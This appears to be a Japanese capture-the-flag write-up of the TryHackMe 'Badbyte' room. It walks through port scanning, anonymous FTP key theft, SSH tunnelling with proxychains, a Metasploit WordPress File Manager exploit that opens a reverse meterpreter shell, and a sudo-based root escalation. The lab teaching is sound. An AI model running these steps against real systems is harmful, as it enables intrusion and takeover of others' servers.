TryHackMe Writeup：Badbyte

# はじめに
本記事はTryHackMeのWriteupです。
Roomは[Badbyte](https://tryhackme.com/room/badbyte)、Difficulty（難易度）はEasyです。

Badbyteは一般的なハッキングフローの流れに沿って、偵察行為を皮切りに発見したサービスの脆弱性を特定します。脆弱性特定後、Metasploit Frameworkを用いて管理者権限を取得します。

このRoomでは、ポートフォワーディングを用いてローカルで稼働するWebサーバーにアクセスする方法について学ぶことができます。
Deploy the machine以降のTaskについて解説していきます。

## Reconnaissance
はじめに偵察行為から行います。
偵察行為については以前書いた[Content Discovery Webアプリケーションに対する偵察行為](https://qiita.com/Brutus/items/6b89c9518ea90695232f)を参照。

### ポートスキャン
空いているポートを特定するためには**Nmap**を使用します。
以下の例では、ポートで実行されているサービスのバージョンを確認するため、`-sV`オプションを使用してポートスキャンを実行しています。

`$ sudo nmap -sV -p- -vv <IP address>`

```console
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 23:38 JST
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 23:38
Scanning 10.10.134.20 [4 ports]
Completed Ping Scan at 23:38, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:38
Completed Parallel DNS resolution of 1 host. at 23:38, 0.01s elapsed
Initiating SYN Stealth Scan at 23:38
Scanning 10.10.134.20 [65535 ports]
Discovered open port 22/tcp on 10.10.134.20
SYN Stealth Scan Timing: About 14.30% done; ETC: 23:42 (0:03:06 remaining)
SYN Stealth Scan Timing: About 17.37% done; ETC: 23:44 (0:04:50 remaining)
SYN Stealth Scan Timing: About 37.25% done; ETC: 23:42 (0:02:33 remaining)
Discovered open port 30024/tcp on 10.10.134.20
SYN Stealth Scan Timing: About 64.98% done; ETC: 23:41 (0:01:05 remaining)
Completed SYN Stealth Scan at 23:41, 144.25s elapsed (65535 total ports)
Initiating Service scan at 23:41
Scanning 2 services on 10.10.134.20
Completed Service scan at 23:41, 0.49s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.134.20.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 23:41
Completed NSE at 23:41, 0.00s elapsed
Nmap scan report for 10.10.134.20
Host is up, received reset ttl 61 (0.24s latency).
Scanned at 2023-07-19 23:38:37 JST for 145s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
30024/tcp open  ftp     syn-ack ttl 61 vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 145.27 seconds
           Raw packets sent: 66415 (2.922MB) | Rcvd: 65674 (2.627MB)
```

ポートスキャンの結果から30024番ポートを使用したvsftpdの稼働が確認できます。

上記検出結果を使用してこのタスクは解決できます。

## Foothold
ポートスキャンの結果を踏まえて、vsftpdのサービスを確認します。

### 列挙
以下のコマンドを実行して、匿名ユーザーを使用してFTPに接続します。

`$ftp <IP adress> 30024`

```console
Connected to 10.10.134.20.
220 (vsFTPd 3.0.3)
Name (10.10.134.20:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

ftp接続後、`ls`コマンドを実行すると、以下ファイルが確認できます。

```console
ftp> ls
229 Entering Extended Passive Mode (|||49682|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp          1743 Mar 23  2021 id_rsa
-rw-r--r--    1 ftp      ftp            78 Mar 23  2021 note.txt
226 Directory send OK.
```

上記ファイルをダウンロード後、`note.txt`の情報を確認します。
また、`id_rsa`に対してJohn the Ripperを実行します。

## Port Forwarding
偵察行為の結果を利用して、対象サーバにSSHログインができるようになりました。
しかし、まだ攻撃対象のマシンには他のサービスが稼働しているようです。

本タスクでは他のサービスを特定するために、proxychainsを用いて更なるポートスキャンを行います。

**proxychains**は、特定のアプリケーションによって行われるTCP接続を強制的にTORなどのプロキシや、SOCKS4、SOCKS5、またはHTTP(S)プロキシを経由させるためのツールです。

https://github.com/haad/proxychains

proxychainsを利用することで、複数のネットワークセグメントを経由した接続ができます。
このタスクでは、proxychainsを利用してローカルで稼働しているWebサーバにアクセスします。

### proxychains
SSHを使用して動的ポート転送を設定します。

`$ ssh -i id_rsa <User name>@<IP adress> -D 1337`

```console
The authenticity of host '10.10.134.20 (10.10.134.20)' can't be established.
ED25519 key fingerprint is SHA256:STfSircXTndy96+rP+DhdzypBYQbjn+n8C2IReY/Vl4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.134.20' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': 
```

`/etc/proxychains.conf`を編集します。

```vim
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 	127.0.0.1 9050
socks5 	127.0.0.1 1337
```

proxychainsと、nmapを実行してサーバー上の内部ポートを列挙します。

`proxychains nmap -sT 127.0.0.1`

上記コマンドを実行すると、以下のような出力が行われます。

```console
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 23:50 JST
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:139 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:8888 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:3306  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:113 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:587 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:1723 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:445 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:80  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:199 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:256 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:995 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:1720 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:21 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:53 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:3389 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:5900 <--socket error or timeout!
[proxychains] Strict chain  ...  127.0.0.1:1337  ...  127.0.0.1:22  ...  OK
```

コマンド終了後、スキャン結果を確認すると、localhostでリッスンしているサービスが確認できます。

```console
Nmap scan report for localhost (127.0.0.1)
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 240.08 seconds
```

Webサーバのポートを確認後、SSHの`-L`オプションを使用して、ローカルポート転送を実行します。

`$ ssh -i id_rsa -L <Local port>:127.0.0.1:<Remote port> <User name>@<IP adress>`

```console
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-139-generic x86_64)
```

:::note
80番ポートに対する外部からのアクセスは、ファイアウォールによってブロックされています。SSHの動的ポート転送設定と、proxychainsを利用して80番ポートに接続できるトンネル（仮想ポート）を作成できます。従って攻撃者はトンネルを使用して、ローカルで稼働するWebサーバに接続できます。
:::

## Web Exploitation
対象のWebアプリケーションを分析すると、CMSとしてWordpressを使用していることが確認できます。

以下のコマンドを実行して、Wordpressに関する脆弱なプラグインを検出します。

`$ sudo nmap 127.0.0.1 -p <Local port> --script http-wordpress-enum --script-args type="plugins",search-limit=1500 -vv`

```console
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 23:59 JST
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Initiating SYN Stealth Scan at 23:59
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 80/tcp on 127.0.0.1
Completed SYN Stealth Scan at 23:59, 0.04s elapsed (1 total ports)
NSE: Script scanning 127.0.0.1.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 23:59
Completed NSE at 23:59, 20.67s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up, received localhost-response (0.000023s latency).
Scanned at 2023-07-19 23:59:03 JST for 21s

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
| http-wordpress-enum: 
| Search limited to top 1500 themes/plugins
|   plugins
|     duplicator 1.3.26
|_    wp-file-manager 6.0

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 23:59
Completed NSE at 23:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.84 seconds
           Raw packets sent: 1 (44B) | Rcvd: 2 (88B)

```

上記検出結果を踏まえて、Wordpressに関する脆弱なプラグインのCVEを調査します。

### エクスプロイトの探索
`msfconsole`を起動し、`search`コマンドを使用して脆弱性のあるプラグインを検索します。

Metasploit Frameworkについては、以前書いた[脆弱性とエクスプロイトについて理解する](https://qiita.com/Brutus/items/5b0d332b1f3fd57b714f)に基本的な使用方法を記載しています。


```console
msf6 > search wp-file-manager

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  exploit/multi/http/wp_file_manager_rce  2020-09-09       normal  Yes    WordPress File Manager Unauthenticated Remote Code Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_file_manager_rce
```

`use`コマンドを使用して、モジュールをロードします。

`$ use 0`

```console
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_file_manager_rce) > 
```

`show options`コマンドで必要なオプションを確認して設定します。

`$ set rhost 127.0.0.1`
`$ set rpot <Local port>`
`$ set lhost <attacker's IP address>`

エクスプロイトを実行後、以下のような出力が表示されてmeterpreterのプロンプトが表示されることを確認します。

```console
msf6 exploit(multi/http/wp_file_manager_rce) > run

[*] Started reverse TCP handler on 10.2.0.132:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] 127.0.0.1:80 - Payload is at /wp-content/plugins/wp-file-manager/lib/files/m51Xgq.php
[*] Sending stage (39927 bytes) to 10.10.134.20
[+] Deleted m51Xgq.php
[*] Meterpreter session 1 opened (10.2.0.132:4444 -> 10.10.134.20:38306) at 2023-07-20 00:07:40 +0900

meterpreter > 
```

`getuid`コマンドを実行すると、ホスト上で実行されているユーザーが確認できます。

```console
meterpreter > getuid
Server username: cth
```

## Privilege Escalation
ルートフラグを取得するために、権限昇格を行います。

### 権限昇格
タスクの説明を読むと、ログファイルにヒントがありそうです。

meterpreterから`shell`コマンドを実行し、ターゲット システム上の標準シェルを起動します。

```console
meterpreter > shell
Process 1599 created.
Channel 0 created.
```

シェル起動後、ユーザーの古いパスワードを調査するために、`/var/log`ディレクトリ以下のログファイルを確認します。よく見ると、怪ししそうなファイルの存在が確認できます。

```console
total 3432
-rw-r--r--  1 root      root              29056 Mar 23  2021 alternatives.log
drwx------  3 root      root               4096 Mar 23  2021 amazon
drwxr-x---  2 root      adm                4096 Mar 23  2021 apache2
drwxr-xr-x  2 root      root               4096 Mar 23  2021 apt
-rw-r-----  1 syslog    adm               52206 Jul 19 15:09 auth.log
-rw-r--r--  1 root      root                708 Mar 23  2021 aws114_ssm_agent_installation.log
-rw-r--r--  1 cth       cth                1874 Mar 23  2021 bash.log
-rw-r--r--  1 root      root              56751 Aug  6  2020 bootstrap.log
-rw-rw----  1 root      utmp               1536 Mar 23  2021 btmp
-rw-r--r--  1 root      root              21695 Jul 19 14:13 cloud-init-output.log
-rw-r--r--  1 syslog    adm              420318 Jul 19 14:13 cloud-init.log
drwxr-xr-x  2 root      root               4096 Jul  9  2020 dist-upgrade
-rw-r--r--  1 root      root             699868 Mar 23  2021 dpkg.log
-rw-r--r--  1 root      root              32064 Mar 23  2021 faillog
drwxr-xr-x  3 root      root               4096 Mar 22  2021 installer
drwxr-sr-x+ 3 root      systemd-journal    4096 Mar 22  2021 journal
-rw-r-----  1 syslog    adm              883556 Jul 19 14:12 kern.log
drwxr-xr-x  2 landscape landscape          4096 Mar 22  2021 landscape
-rw-rw-r--  1 root      utmp             292584 Jul 19 14:56 lastlog
drwxr-x---  2 mysql     adm                4096 Mar 23  2021 mysql
-rw-r-----  1 syslog    adm             1144981 Jul 19 15:09 syslog
-rw-------  1 root      root              64128 Mar 23  2021 tallylog
drwxr-x---  2 root      adm                4096 Mar 22  2021 unattended-upgrades
-rw-------  1 root      root                685 Mar 23  2021 vmware-network.1.log
-rw-------  1 root      root                705 Mar 23  2021 vmware-network.2.log
-rw-------  1 root      root                685 Mar 23  2021 vmware-network.3.log
-rw-------  1 root      root                705 Mar 23  2021 vmware-network.4.log
-rw-------  1 root      root                685 Mar 23  2021 vmware-network.5.log
-rw-------  1 root      root                705 Mar 23  2021 vmware-network.6.log
-rw-------  1 root      root                685 Mar 23  2021 vmware-network.7.log
-rw-------  1 root      root                705 Mar 23  2021 vmware-network.log
-rw-------  1 root      root               2168 Mar 23  2021 vmware-vmsvc-root.1.log
-rw-------  1 root      root               2168 Mar 23  2021 vmware-vmsvc-root.2.log
-rw-------  1 root      root               2168 Mar 23  2021 vmware-vmsvc-root.3.log
-rw-------  1 root      root               2168 Mar 23  2021 vmware-vmsvc-root.log
-rw-------  1 root      root               1024 Mar 23  2021 vmware-vmtoolsd-root.log
-rw-------  1 root      root                920 Jul 19 14:44 vsftpd.log
-rw-rw-r--  1 root      utmp              35328 Jul 19 14:56 wtmp
```

ユーザーの古いパスワード確認後、ルートフラグを取得するためには、管理者権限が必要です。

試しに`sudo`コマンドを実行すると、以下のようなメッセージが出力されます。
従ってターミナルにttyが存在しないか、パスワード入力プロンプトを表示するプログラムが設定されていない可能性が考えられます。

```console
sudo su -
sudo: no tty present and no askpass program specified
```

対応として、`-S`オプションを付与することで、端末デバイスを使用する代わりに標準入力からパスワードを読み取るようにします。

```console
sudo -S su
[sudo] password for cth: 
```

最後はタスクの説明を参考にすることで、ルートフラグを取得できます。
  
# おわりに
以上、BadbyteのWriteupでした。

ポートフォワーディングの仕組みを学ぶことができ、Linuxの知識も必要になるため、面白いルームです。